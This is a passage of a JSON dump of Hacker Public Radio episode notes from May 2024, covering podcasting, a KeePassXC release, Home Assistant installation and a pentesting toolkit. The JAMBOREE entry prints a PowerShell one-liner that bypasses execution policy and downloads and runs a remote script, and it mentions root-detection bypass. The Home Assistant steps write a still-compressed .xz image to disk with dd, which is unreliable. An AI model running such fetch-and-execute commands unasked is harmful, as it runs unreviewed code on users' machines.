                                                            • We geeks at HPR are not alone in our disaffection with\nbusiness-mediated social interactions. Look at the mass eexodus from\ntwitter. And the exit from substack. And from open source communities\nlike reddit, reddis, terraform, mongo, and mysql. If you want to\ncontribute your labor to a newly enshittified product they are actively\nseeking new contributors (and marketers) as their founding engineers\nabandon ship and create their own forks.
                                                            • \n
                                                            • People share personal private contact information here that could\nendanger their emotional and financial well-being and information\nsecurity if it were exposed to a scammer/malware platform like Discord.\nDiscord sells your phone number to con-artists and scammers. And Xitter\nusers talk about the blue checkmark validating their social value, but\nit's really a mark of shame. Discord hawks a similarly worthless token\nof social cred, and paywalls something as fundamental to communication\nas emojies. No thanks. They can take their dancing robot and\nbursting-heart emojies and shove 'em where the sun don't shine.
                                                            • \n
                                                            \n

                                                            Enhance the comments\ninterface?

                                                            \n
                                                              \n
                                                            • Would a bridge server that pulled from our RSS feed and posted to an\nHPRbot channel on Mastodon help?
                                                            • \n
                                                            • I've not tried BlueSky\nyet
                                                            • \n
                                                            • We could even auto-post to Xitter and Facebook in the same way that\nThreads evangelizes Facebook to the Fediverse
                                                            • \n
                                                            • It might be possible to directly connect the comments feed on HPR to\nMastodon or BlueSky automatically.
                                                            • \n
                                                            \n

                                                            References

                                                            \n
                                                              \n
                                                            • https://rationalwiki.org/wiki/Rapoport%27s_Rules
                                                            • \n
                                                            • https://antennapod.org/
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Enshittification
                                                            • \n
                                                            • https://craphound.com/category/internetcon/
                                                            • \n
                                                            \n","hostid":424,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hpr,community,marketing,enshittification,social media,fediverse,small web","version":0,"downloads":0,"valid":1}, {"id":4117,"date":"2024-05-14","title":"JAMBOREE !","duration":1126,"summary":"Java Android Magisk Burp Objection Root Emulator Easy (JAMBOREE)","notes":"

                                                            https://github.com/freeload101/Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy

                                                            \n

                                                            Java Android Magisk Burp Objection Root Emulator Easy\n(JAMBOREE)
                                                            \nGet a working portable Python/Git/Java environment on Windows in SECONDS\nwithout having local administrator, regardless of your broken Python or\nother environment variables. Our open-source script downloads directly\nfrom proper sources without any binaries. While the code may not be\nperfect, it includes many useful PowerShell tricks.

                                                            \n

                                                            Run Android apps and pentest without the adware and malware of\nBlueStacks or NOX.

                                                            \n
                                                            Features / Request\nCore        Status\nRMS:Runtime Mobile Security ✔️\nBrida, Burp to Frida bridge ❌\nSaftyNet+ Bypass    ❌\nBurp Suite Pro / CloudFlare UserAgent Workaround-ish    ✔️\nZAP Using Burp  ✔️\nGoogle Play ✔️\nJava    ✔️\nAndroid 11 API 30   ✔️\nMagisk  ✔️\nBurp    ✔️\nObjection   ✔️\nRoot    ✔️\nPython  ✔️\nFrida   ✔️\nCerts   ✔️\nAUTOMATIC1111   ✔️\nAutoGPT ✔️\nBloodhound  ✔️\nPyCharm ✔️\nOracleLinux WSL ✔️\nUbuntu/Olamma WSL   ✔️\nPostgres No admin   ✔️\nSillyTavern ✔️\nVolatility 3    ✔️\nArduino IDE / Duck2Spark    ✔️\nYoutube Downloader Yt-dlp   ✔️
                                                            \n

                                                            How it works:
                                                            \nTemporarily resets your windows $PATH environment variable to fix any\nissues with existing python/java installation
                                                            \nBuild a working Python environment in seconds using a tiny 16 meg\nnuget.org Python binary and portable PortableGit. Our solution doesn't\nrequire a package manager like Anaconda. I would like to make it even\neasier to use but I don't want to spend more time developing it if\nnobody is going to use it! Please let me know if you like it and open\nbugs/suggestions/feature request etc! You can contact me at https://rmccurdy.com !

                                                            \n

                                                            Installation/Requirements ( For Android AVD Emulator) :
                                                            \nLocal admin just to install Android AVD Driver:
                                                            \nHAXM Intel driver ( https://github.com/intel/haxm )

                                                            \n

                                                            OR

                                                            \n

                                                            AMD ( https://github.com/google/android-emulator-hypervisor-driver-for-amd-processors\n)

                                                            \n

                                                            Usage:
                                                            \nPut ps1 file in a folder
                                                            \nRightclick Run with PowerShell

                                                            \n

                                                            OR

                                                            \n

                                                            From command prompt

                                                            \n

                                                            powershell -ExecutionPolicy Bypass -Command\n\"[scriptblock]::Create((Invoke-WebRequest \"https://raw.githubusercontent.com/freeload101/Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy/main/JAMBOREE.ps1\").Content).Invoke();\"\nMore infomation on bypass Root Detection and SafeNet https://www.droidwin.com/how-to-hide-root-from-apps-via-magisk-denylist/

                                                            \n

                                                            ( Watch the Video Tutorial below it's a 3-5 min process. You only\nhave to setup once. After that it's start burp then start AVD )

                                                            \n

                                                            Burp/Android Emulator (Video Tutorial )
                                                            \nUpdate Video with 7minsec Podcast!

                                                            \n

                                                            https://youtu.be/XdXleap0BiM

                                                            \n

                                                            name

                                                            \n

                                                            (Video Tutorial)

                                                            \n

                                                            https://youtu.be/pYv4UwP3BaU

                                                            \n

                                                            name

                                                            \n

                                                            USB Rubber Ducky Scripts & Payloads Python 3 Arduino\nDigiSpark

                                                            \n

                                                            https://youtu.be/e8tKhFS0Tow

                                                            \n

                                                            name

                                                            \n

                                                            Old payloads: https://github.com/hak5/usbrubberducky-payloads/tree/1d3e9be7ba3f80cdb008885fac49be2ba926649d/payloads

                                                            \n

                                                            PhreakNIC 24: Java Android Magisk Burp Objection Root Emulator Easy\n(JAMBOREE)

                                                            \n

                                                            https://www.youtube.com/watch?v=R1eu2Ui1ZLU

                                                            \n

                                                            name

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"android,powershell,windows,pentesting,AI,llm","version":0,"downloads":0,"valid":1}, {"id":4118,"date":"2024-05-15","title":"Toil versus Livelihood","duration":1451,"summary":"A contribution to the discussions about AI as a threat to our livelihoods","notes":"

                                                            This is sort of a response to hpr4097 :: Will they take our jobs? Of course they will. by dodddummy, and also the latest community news show, and other shows about the topic.

                                                            \n\n

                                                            References:

                                                            \n\n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"work, \"generative AI\"","version":0,"downloads":0,"valid":1}, {"id":4119,"date":"2024-05-16","title":"Cov's Jams 003","duration":698,"summary":"A compilation of libre licensed music that Cov enjoyed listening to","notes":"

                                                            Welcome to the third episode of Cov's jams.

                                                            \n

                                                            We'll start with a couple electronica pieces from Arkadii Kaplan:\nCorporate Success and Chasing the Shadow. I also featured Kaplan in the\nsecond episode of Cov's Jams, way back in 2016. I'm glad to be back.

                                                            \n

                                                            Next up are two dubstep selections: Time to Army by Muciojad and\nSweet Nothing by K4MMERER.

                                                            \n

                                                            Daniel Bautista's Symphony Number 5 will close out the episode.\nDaniel Bautista wins at Free, Libre, and Open Source. Not only is he\nplaying public domain Beethoven, but he recorded and mixed the album (in\nMay and June of 2008) on a Gentoo\nLinux box. Gentoo is how I really learned Linux. He's still\nreleasing libre licensed albums and his newer releases have video\nrecordings which he edits in kdenlive.

                                                            \n

                                                            The first four tracks are under the Creative Commons\nAttribution-Share Alike license: Corporate Success and Chasing the\nShadow by Arkadii Kaplan, Time to Army by Muciojad, and Sweet Nothing by\nK4MMERER. Daniel Bautista's Symphony Number 5 is licensed Creative\nCommons Attribution.

                                                            \n

                                                            Thank you for listening to this third episode of Cov's Jams. I hope\nwe can enjoy some new tunes together soon!

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • Arkadii\nKaplan - Corporate Success
                                                            • \n
                                                            • Arkadii\nKaplan - Chasing the Shadow
                                                            • \n
                                                            • Muciojad -\nTime to Army
                                                            • \n
                                                            • K4MMERER -\nSweet Nothing
                                                            • \n
                                                            • Daniel\nBautista - Symphony Number 5
                                                            • \n
                                                            \n","hostid":322,"series":22,"explicit":0,"license":"CC-BY-SA","tags":"music","version":0,"downloads":0,"valid":1}, {"id":4120,"date":"2024-05-17","title":"South Carolina to Home","duration":741,"summary":"We leave Charleston, South Carolina, and head back home.","notes":"

                                                            We finish our South Carolina visit touring a plantation, and then go\nto see a magnificent live oak tree. After that, it is time for us to\nhead back home.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, Charleston, South Carolina","version":0,"downloads":0,"valid":1}, {"id":4121,"date":"2024-05-20","title":"RODE wireless microphones","duration":522,"summary":"My first recording on new a microphone","notes":"

                                                            All right. Well, good evening, hackers. My name is Clinton. And this\nis a very off the cuff episode for me just to announce that I've got a\nnew microphone. So I just wanted to run through a couple of details of\nthat. Make a show, say a little about the microphone while I got it.\nWhat I hope to do with it. So this is a roadie wireless go to setup. It\ncomes with three little boxes. Roughly, roughly, you can fit each one of\nthe little boxes inside a matchbox. So there are three of these that\ncome with the set that I bought. Two of them are microphones that you\nclip onto your lapel. The third is a transceiver. So at the moment, I've\ngot the transceiver on and I've got one of the microphones on. I bought\nthis because I'm going to be going to a conference soon. And one of the\nthings that I do try to do at conferences is to interviews with people.\nAnd this is kind of nice in that I can switch these two microphones on.\nGive one to myself. Give one to the person I'm interviewing. And I don't\nhave to use a single microphone and shove it underneath their faces. And\nI don't have to swap the microphone between the two of us. The other\nfeature, like the particular reason I've got this model is that each of\nthe two microphone units actually has built in RAM. So it will actually\nrecord, like if you've got it set up in the mode, which I do, you can\nget each microphone to do a backup recording of your presentation. The\nregular mode for this set of microphones is to actually treat the\ntransceiver as a source and plug it into computer or plug it into your\ncamera as a external microphone. But it has this lovely mode, which I'm\nrecording this particular episode to. We can just turn it on. It's not\nthe transceiver is not plugged into a computer. It's not plugged into\nanything. And it'll record something like 40 hours of voice. And later\non, I can hook it up to my computer as a standard mass storage device\nand just download the waveform I believe. So it does have some Windows\nfirmware or Mac firmware. I didn't have too much fun getting that to\nwork under Linux. I tried under a couple of different VM products and\nwasn't having any luck. So try it under wine. I tried under open box.\nEventually I did end up installing like a full Windows 10 install onto a\nqemu image. And that had enough stuff working such that I could install\nthe Rode firmware on it. That let me do an upgrade of the firmware on\nthe two microphones and the transceiver because the first thing you do\nwhen you buy something these days is out of the box you have to upgrade\nthe firmware because why would they do that at the factory before they\nsend it out when they can just make the users do that. And there is a\nphone app but it does not let you update the firmware on these\nparticular hardware models. If I remember the error message correctly it\ndoes look like the Android app lets you update the firmware on other\nRode microphone devices but not this particular model. So I had to go\ndown the track of setting up a qemu. I did find a good blog post on how\nto set up a Windows box on qemu. It had a few things that seem outdated\nso maybe it's a job for future me to write an updated blog post on how\nto do this. If for nothing else instructions on how to do this in future\nwhen I need to rerun the firmware update. The other thing that I really\nneeded to use the software for though is to switch on the recording\noption. So out of the box these things do not record to the memory\nthat's built into the microphones. So I had to get, I had to update the\nfirmware and then I had to run the software on both of the microphones\nto switch on the recording option. But now that that switched on I can\njust hook it up as a USB master device as I've mentioned before and\npresumably I can just copy the files and delete the files and I won't\nactually have to run that software. So yeah there's a number of options\ngoing forward so I can write that blog post with the updated details.\nThere were a number of hoops that I found that I did not have to go\nthrough of the blog post I found so things are getting easier over time.\nDepending on how in depth I want to go I could potentially one day sit\ndown and install like a USB listening device and see if I can work out\nhow to work out if there are any magic packets getting sent to do the\nconfiguration on the device. Do I need to break any crypto stuff or is\nit just a straight command like plug in the device and send a command\nwith a few funky options. So maybe in the very distant future when I've\ngot no other things on I could try and work out a pure USB non windows\nsolution for setting some of these configuration options. I'm not sure\nI'd go down the track of updating the family I think that's probably a\nlittle bit too risky but you know maybe one day in the future. But yeah\nbasically this set of microphones assuming that it works out okay\nassuming that it sounds good. I'll hopefully be using these for\nconferences coming up. Hopefully as well I'll be able to use it for\ncamping and stuff like that so if I'm out and about I'll just be able to\npull out these two things transceiver, microphone, a couple of clicks\nturn them on they talk to each other wirelessly and then start recording\nsomething. So it's much smaller than the current microphone that I'm\nusing so it's much easier to travel with. There are two of them so that\nwhen I'm interviewing someone it's much easier and it's got recording\nmemory so I don't actually have to plug them into a computer so all up\nit should be much easier to use. I think it might even give better\nrecording outputs and hopefully like increase the number of talks and\npresentations that I give on HBO. So that's been Clinton this has been a\nvery off the cuff recording I very much am used to sitting down and\nwriting out a full script for these things so I'm doing this because\nit's cool new hardware but also because HPR needs more episodes. So yeah\nmaybe other people can do an episode on what particular funky wireless\nor what particular microphones that they've got that they enjoy using\nand what the advantages are and disadvantages are. That's it for now.\nCiao.

                                                            \n","hostid":315,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"recording,microphone,podcast","version":0,"downloads":0,"valid":1}, {"id":4122,"date":"2024-05-21","title":"The Conference for Creative Use of the Radio Spectrum in Open Systems","duration":1127,"summary":"A Call for Presentations for spectrum24 is open. ","notes":"

                                                            Ken Talks to Marc Balmer and Kristoff Bonne about spectrum24, The\nConference for Creative Use of the Radio Spectrum in Open Systems.

                                                            \n

                                                            Following the success of the Software-Defined Radio and Amateur Radio\ndevroom at FOSDEM, spectrum24 plans to bring users of the radio spectrum\ntogether.

                                                            \n

                                                            For over a century, technology has made it possible to transfer more\ndata, faster, further. Today, wireless technology is everywhere and\ncommonplace. However, it remains a playground and a ground for\ninnovation for many communities.

                                                            \n

                                                            This conference is an opportunity to publicize your projects and\nallow the different communities that use the spectrum to meet over a\nweekend.

                                                            \n

                                                            If you have an interesting talk you would like to give please see https://spectrum-conference.org/24/cfp for more\ninformation

                                                            \n

                                                            spectrum24 will take place September 14./15. at SmartCity Campus (1\nrue de Clairefontaine, 78120 Rambouillet.) at an old radio factory in\nRambouillet near Paris, a short 15 minute walk from the train\nstation.

                                                            \n\n","hostid":30,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"spectrum24, FOSDEM, HAM, SmartCity, SDR","version":0,"downloads":0,"valid":1}, {"id":4123,"date":"2024-05-22","title":"KeepassXC Update","duration":1153,"summary":"Sgoti talks about the KeePassXC 278 release.","notes":"

                                                            KeepassXC Update

                                                            \n

                                                            Sgoti talks about\nthe KeePassXC 278 release.

                                                            \n
                                                              \n
                                                            • Tags: KeePassXC 2.7.8 release, Password managers

                                                            • \n
                                                            • Source: keepassxc: KeePassXC 2.7.8\nreleased
                                                              \n

                                                            • \n
                                                            \n
                                                            \n

                                                            Passkeys are still a fledgling technology, as of this writing, and we\nare trying to keep pace with the rapid adoption across various websites,\nin addition to specification refinements. The following is a short list\nof critical improvements to our passkeys support:

                                                            \n
                                                            \n
                                                            \n
                                                            \n
                                                            Update an existing passkey or add one to an existing entry\nSupport more specification standards\nVarious UI improvements to dialogs and context menus\n**Show a warning prior to exporting a passkey**
                                                            \n
                                                            \n
                                                            \n
                                                            \n

                                                            In addition to bug fixes, we always strive to deliver something\nuseful in each of our updates. For 2.7.8, we have brought forward\nseveral awesome features including:

                                                            \n
                                                            \n
                                                            \n
                                                            \n
                                                            A database setting to allow a delay prior to auto-save\nImprovements to Bitwarden and 1Password importers\nImprovements to monospace font display\nImprove display of dialog buttons on Linux\n**SSH Agent: don’t auto-load keys that are in the recycle bin**
                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Supporting source: github: KeePassXC 2.7.8\nrelease.
                                                              \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Changes.

                                                            \n
                                                            \n
                                                            \n
                                                            \n
                                                            Add hotkey for showing search help.\nAdd hotkey for group switching (Ctrl+Shift+PgUp/PgDown).\nAdd per-database auto-save delay setting.\nAdd configurable password strength check on database password.\nAdd setting to hide menubar.\nImprove Bitwarden 1PUX import and support organization collections.\nShow advanced settings checkbox only for settings that have them.\nRemove obsolete setting for requiring repeated password entry.\nPasskeys: Allow registering Passkeys to existing entries.\nPasskeys: Show warning about data being unencrypted before Passkey export.\nPasskeys: Support NFC and USB transports.\nPasskeys: Pass extension JSON data to browser.\nSSH Agent: Do not use entries from recycle bin.\nLinux: Change hotkey sequence used for {CLEARFIELD} Auto-Type.\nWindows: Improve DACL memory access protection.
                                                            \n
                                                            \n
                                                            \n
                                                            \n

                                                            Fixes.

                                                            \n
                                                            \n
                                                            \n
                                                            \n
                                                            Fix crash when deleting history items.\nFix crash on screen lock or computer sleep.\nFix search field not being focused after unlock.\nFix loss of window focus when Auto-Type needs to unlock a database.\nFix inconsistent TOTP visibility on unlock.\nFix CSV import skipping over single-name groups.\nFix key file folder being remembered even if disabled in settings.\nFix issues with entry editing and database locking.\nFix key file text when provided on command line.\nFix issues with hardware key auto detection.\nDo not override monospace font size.\nPerform group sort only when group view is in focus.\nDo not show decimals for attachment sizes in Bytes.\nPrevent merging of global custom data when merging databases.\nFix minor translation issues.\nPasskeys: Fix StrongBox incompatibility.\nPasskeys: Set RP ID to effective domain if unset instead of returning an error.\nPasskeys: Various UI fixes and improvements.\nAppImage: Fix URL opening.\nFlatpak: Fix application autostart.\nLinux/macOS: Fix button sizes on modal alert popups.\nLinux: Fix clipboard clear on Wayland.\nWindows: Preserve file-hidden attribute.
                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Supporting source: keepassxc:\nVerifying signatures & basic integrity check.
                                                              \n

                                                            • \n
                                                            • Supporting source: github: KeePassXC – Keyboard\nShortcuts.
                                                              \n

                                                            • \n
                                                            • Supporting source: github: KeePassXC changelog.
                                                              \n

                                                            • \n
                                                            • Source: wikipedia: Keyboard\nshortcut.
                                                              \n

                                                            • \n
                                                            • Supporting source: wikipedia: Table of\nkeyboard shortcuts.
                                                              \n

                                                            • \n
                                                            • Supporting source: wikipedia: Human\ninterface guidelines.
                                                              \n

                                                            • \n
                                                            • Supporting source: gnome: GNOME Human\nInterface Guidelines.
                                                              \n

                                                            • \n
                                                            • Supporting source: kde: KDE Human Interface\nGuidelines.
                                                              \n

                                                            • \n
                                                            • Supporting source: apple: Apple Human Interface\nGuideline.
                                                              \n

                                                              \n
                                                                \n
                                                              • Supporting source: apple: Apple Global App Menu.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            The Apple menu, which is always the first item on the leading side of\nthe menu bar, includes system-defined menu items that are always\navailable. You can’t modify or remove the Apple menu. When present in\nthe menu bar, the following menus appear after the Apple menu in the\norder listed below.

                                                            \n
                                                            \n
                                                            \n
                                                            \n
                                                            AppName (you supply a short version of your app’s name for this menu’s title)\nFile\nEdit\nFormat\nView\nApp-specific menus, if any\nWindow\nHelp
                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Source: wikipedia: Old\nYeller.
                                                              \n
                                                            • \n
                                                            • Supporting source: archive: Old Yeller (1957).
                                                              \n
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"KeePassXC 2.7.8 release, Password managers","version":0,"downloads":0,"valid":1}, {"id":4124,"date":"2024-05-23","title":"Developing a project","duration":425,"summary":"Collaborating to develop an alternative time system","notes":"\n","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"time, programming","version":0,"downloads":0,"valid":1}, {"id":4125,"date":"2024-05-24","title":"Installing Home Assistant Operating System (HAOS), on a x86-64 machine","duration":691,"summary":"Method 1: Installing HAOS via Ubuntu booting from a USB flash drive to a generic x86-64 PC","notes":"

                                                            Introduction

                                                            \n

                                                            This is a follow up episode on Home Assistant (HA), see\nhpr4099\n:: An introduction to Home Assistant (HA) for an explanation of what\nHome Assistant (HA) is, and why you might want to install it.

                                                            \n

                                                            The Home\nAssistant Installation page offers several different install\nmethods, listed along with the level of difficulty.

                                                            \n
                                                              \n
                                                            • Easiest: Plug and play with Home Assistant Green
                                                            • \n
                                                            • Easy: DIY with Raspberry Pi
                                                            • \n
                                                            • Intermediate: Extend with Home Assistant Yellow
                                                            • \n
                                                            • Hard: Install on other hardware
                                                            • \n
                                                            • Expert: Advanced installation methods
                                                            • \n
                                                            \n

                                                            Today we will be installing Home Assistant Operating System (HAOS),\non a x86-64 machine.

                                                            \n
                                                            \n

                                                            Home Assistant can be repurposed and installed on various hardware,\nsuch as an Odroid or a generic x86-64 machine. The Home Assistant\nOperating System allows you to install Home Assistant on these devices\neven if you have little to no Linux experience.

                                                            \n
                                                            \n

                                                            We are going to my HP t610 Flexible Thin Client, which has a 16GB\nSATA Flash Drive, and I upgraded it to 16G of Ram.

                                                            \n

                                                            Note that this will install Home Assistant Operating\nSystem (HAOS) as a computer appliance. That means that it will run a\nbare OS with the various components in a customised docker setup. It\nwill take over the entire computer, and requires secure boot to be\ndisabled.

                                                            \n

                                                            On the HP t610 Flexible Thin Client, that involves pressing \"Esc\" at\nboot to get to the bootup menu. If that doesn't work try pressing \"F10\"\njust after turning on the power.

                                                            \n

                                                            Two methods to install

                                                            \n

                                                            HAOS has no integrated installer like you would expect with\ndistro\nhopping, but it requires that the image be burned directly onto the\ndisk of the computer itself.

                                                            \n

                                                            It has two methods to do this and \"Method 2: Installing HAOS directly\nfrom a boot medium\", is basically take the disk out of the target system\nand attach it to your own computer. The use a burning tool like Balena\nEtcher, or dd to write the image to disk. Much as you would\nburn a sdcard for a raspberry pi. I don't have a way to do this so let's\ngo with method 1.

                                                            \nMethod\n1: Installing HAOS via Ubuntu booting from a USB flash drive\n

                                                            Here you download and burn live operating system as you would if you\nwere\ndistro\nhopping, the document suggests to use Ubuntu. I tried it but my HP\nt610 Flexible Thin Client didn't like it. It also didn't like Fedora\ndespite having worked earlier, so I just used\nDebian\nLXQT.

                                                            \n\n

                                                            Now you have Debian running off a usb stick on your target\nmachine.

                                                            \nSteps\nto burn Home Assistant Operating System (HAOS) to disk on target\n

                                                            Anything after the '#' character is a comment and doesn't need to be\ntyped.

                                                            \n

                                                            Note The following steps are optional, and you\nshould only do them if you wish to ssh to the target machine from your\npc.

                                                            \n
                                                            # Anything after the '#' charachter is a comment and doesn't need to be typed.\napt install openssh-server  # Install the ssh server on the target\nsystemctl start ssh         # Start it once installed\npasswd user                 # Change the password or you can just use the default which is `live`\nip add                      # Get the IP address of the target\nssh user@ip.of.the.computer # Replace ip.of.the.computer with the actual ip address in the step above
                                                            \n

                                                            Open a terminal on the machine, and type the su -\ncommands to get root access on the Debian OS running from the usb drive\non the target machine.

                                                            \n
                                                            user@debian:~$ su -\nPassword:\nroot@debian:~#
                                                            \n

                                                            Now you are root, the super user admin, you can install the\nwget command using the Debian apt package\nmanager.

                                                            \n
                                                            root@debian:~# apt install wget
                                                            \n

                                                            Once wget is installed, we can use it to download the latest image\nfrom the\nHAOS\nDownload Page, which is haos_generic-x86-64-12.1.img.xz\nat time of writing.

                                                            \n
                                                            root@debian:~# wget https://github.com/home-assistant/operating-system/releases/download/12.1/haos_generic-x86-64-12.1.img.xz
                                                            \n

                                                            Now we have the image we are going to write to the disk, but the\nquestion is which disk to write it to.

                                                            \n

                                                            Your target PC will be different to mine but the tool\nlsblk is good for showing what is installed and\nmounted.

                                                            \n
                                                            root@debian:~# lsblk\nNAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS\nloop0    7:0    0  2.5G  1 loop /usr/lib/live/mount/rootfs/filesystem.squashfs\n                                /run/live/rootfs/filesystem.squashfs\nsda      8:0    0 14.9G  0 disk\n├─sda1   8:1    0    1M  0 part\n├─sda2   8:2    0    1G  0 part\n└─sda3   8:3    0 13.9G  0 part\nsdb      8:16   1 58.6G  0 disk\n├─sdb1   8:17   1    3G  0 part /usr/lib/live/mount/medium\n│                               /run/live/medium\n└─sdb2   8:18   1    5M  0 part
                                                            \n

                                                            The loop0 is the mount where Debian is running from,\nwhile the mounted sdb1 and sdb2 have the word\nlive telling us that's the actual USB drive we installed Debian\non to.

                                                            \n

                                                            While your disk will be different, for me the disk to install it on\nis sda. The partitions sda1,\nsda2, and sda3 are left overs from a previous\ninstall. They will be overwritten anyway.

                                                            \n

                                                            The drive I will be targeting is therefore known to the system as\n/dev/sda

                                                            \n

                                                            The dd command will do a disk duplication and writes the\nones and zeros from the if input file, to the\nof output file.

                                                            \n

                                                            The command below will take a while and not display anything

                                                            \n
                                                            root@debian:~# dd if=haos_generic-x86-64-12.1.img.xz of=/dev/sda\n761949+1 records in\n761949+1 records out\n390118272 bytes (390 MB, 372 MiB) copied, 66.3225 s, 5.9 MB/s
                                                            \n

                                                            Plug in an Ethernet cable that is connected to the network. Power the\nsystem on. If you have a screen connected to the Generic x86-64 system,\nafter a minute or so the Home Assistant welcome banner will appear in\nthe console. In the browser of your desktop system, within a few minutes\nyou will be able to reach your new Home Assistant at\nhomeassistant.local:8123.

                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":125,"explicit":0,"license":"CC-BY-SA","tags":"HA, HAOS, Home Assistant","version":0,"downloads":0,"valid":1}, {"id":4126,"date":"2024-05-27","title":"Podcasting for Newbies","duration":308,"summary":"All you need to become a podcaster","notes":"

                                                            My name is Moss Bliss. I'm a podcaster. This is technically my 2nd\nHPR podcast, but as the first one was unintentional AND back in 2019, I\ncan start fresh.

                                                            \n

                                                            I don't know much of anything. I'm a Linux user, about the same way\nmost people are Windows users. I have gotten more technical over the\npast few years largely due to being a regular on various Linux podcasts.\nI don't have sufficient education to be hired in computers (although\nI've tried several times), and I did spend a few years in radio back in\nmy youth.

                                                            \n

                                                            So what do you have to know to become a podcaster? Almost nothing.\nJust so long as you have a computer, an Internet connection, and a\nmicrophone. (For some shows, you may need a webcam.)

                                                            \n

                                                            I got into podcasting by asking questions. I tried for almost 2 years\nto get Chris Fisher at Jupiter Broadcasting to co-feature me, with zero\nexperience, on a podcast about using Linux desktops. It never happened.\nSo when in 2018 Rob Hawkins asked for new hosts to take over mintCast, I\nwas one of the first 10 or so people to apply, and one of 6 who\neventually stuck with it. All I had was a computer, an Internet\nconnection, and a Blue Yeti microphone my little sister gave me. Within\na few months, I started another podcast, Distrohoppers' Digest with Tony\nHughes. And a couple years later, I was asked to take over Full Circle\nWeekly News. Apparently some people like my voice. Since starting my\nlittle mini-career in podcasting, I have probably more than doubled what\nI know about Linux. I'm not all that scared of the Terminal\nanymore...

                                                            \n

                                                            Some microphones are pretty bad, and my Blue Yeti was the worst one\non the show when I joined mintCast. In about a year, I found a very\ninexpensive CAD Audio U29 USB mic, currently $20 at Amazon, and that\nworked pretty well. Some time after taking on Full Circle Weekly News,\nthe magazine bought me a Samson Q2U ($60), which I'm still using. I love\nthis mic, as it can be used either as a USB mic or plugged into a sound\nbox for even better audio.

                                                            \n

                                                            When I started, I had a T430 laptop and the Blue Yeti microphone. My\nlisteners and co-hosts have made my life better with new and used\nequipment I could never have afforded on my own, including laptops,\nRaspberry Pis, modems, routers, headphones, and even a sound box. My\ncurrent setup includes a 2016 Lenovo ThinkCentre M600 Tiny, which cost\nme under $200 on eBay, a Focusrite Solo sound box (a gift from a\nfriend), a WavLink ST336A external goodies box (also a gift), and an old\nDynex 26\" TV I use as a monitor I paid $15 for locally. I have a boom\narm for my microphone, which is made by Neewer and costs $15 on Amazon.\nMy keyboard is a Fellowes Microban Natural, which I need as a trained\ntouch typist. And I put all this stuff on a little rolling computer\ndesk, which I bought used locally for $25.

                                                            \n

                                                            The only software I use is Audacity, and I didn't need to know any\nmore than the basics. If you're part of a team, such as mintCast, you\naren't even required to do any audio editing, although if you know your\nway around Audacity you will find your skills very welcome.

                                                            \n

                                                            If you want to start podcasting, have the equipment, contact Ken\n(Note: I misspoke in the audio and said Ronnie where I\nmeant Ken) and do something here at HPR, which is a fairly low\nentry bar, or you might contact long-running shows such as mintCast.\nParticipation and commitment are usually all that is required.

                                                            \n

                                                            OK, so maybe you want to do more than produce an HPR show or join\nmintCast. You have your own idea and you want to get it out there, your\nown personal podcast. This is where it gets a little more detailed. If\nyou already have the information you need, you can stop the podcast\nhere, but...

                                                            \n

                                                            First, you'll need a website or blog (if you're really broke, there\nare free WordPress sites available at wordpress.com, or you could use\nthe dreaded Google blogs (blogger and blogspot). Other than that, you'd\nhave to register a domain name, find a webhost, and write a website,\nsome of which can be cheap (or not!). Then you have to find a way to\nstream your podcast. Google has closed Feedburner, but there are some\npaid places like Red Circle you can get for not much bread. Those will\nprobably help you stream your podcast to places like Apple Music,\nArchive.org, Spotify, etc. But if you want help from me, I'm already\nlost. mintCast is handled by Bill H., Distrohoppers' Digest is handled\nby Dale M., and my Full Circle Weekly News is uploaded to Ronnie for\npublication.

                                                            \n

                                                            Or maybe you want to do it with a few friends, and they can't cram\nthemselves into your bedroom to do that. In that case, you should\nexplore using Discord, Jitsi, VDO.ninja, or (sizzle preserve us!) Zoom.\nEveryone will need to record their own part of the stream, and you'll\nneed someone who knows Audacity well enough to edit a few (or several)\nstreams together. Maybe you want to post it on YouTube. If you want both\na video and audio podcast, someone will have to learn OBS and\nAudacity, and if you want the video podcast to be edited, have fun\nlearning one of the many video editors out there (you might start with\nKDEnlive).

                                                            \n

                                                            For more information on streaming, you'll need to get someone else to\nmake an HPR podcast on the subject. Way over my head.

                                                            \n

                                                            I hope this little show has pushed a few of you into wanting to try\nyour hand. It doesn't take much, or it takes a whole lot, depending on\nwhat you want to do, and your future listeners will thank you. My\nlisteners have certainly shown me lots of thanks.

                                                            \n","hostid":431,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcasting, equipment, easy","version":0,"downloads":0,"valid":1}, {"id":4127,"date":"2024-05-28","title":"Retro fun with the GPi 2 cases","duration":1542,"summary":"Kevie takes a look at and shares his experience with the GPi 2 & 2W cases","notes":"

                                                            In this episode Kevie, co-host of TuxJam, takes a look at the GPi 2 and the GPi 2W cases from Retroflag.

                                                            \n

                                                            To complete this project you will need:

                                                            \n
                                                              \n
                                                            • GPi 2/2W Case
                                                            • \n
                                                            • CM4/Raspberry Pi Zero
                                                            • \n
                                                            • Micro SD-Card
                                                            • \n
                                                            \n

                                                            These can be purchased from the Retroflag website or The Pi Hut in the UK. On top of this you will also need a selection of ROMs and a Retropie image

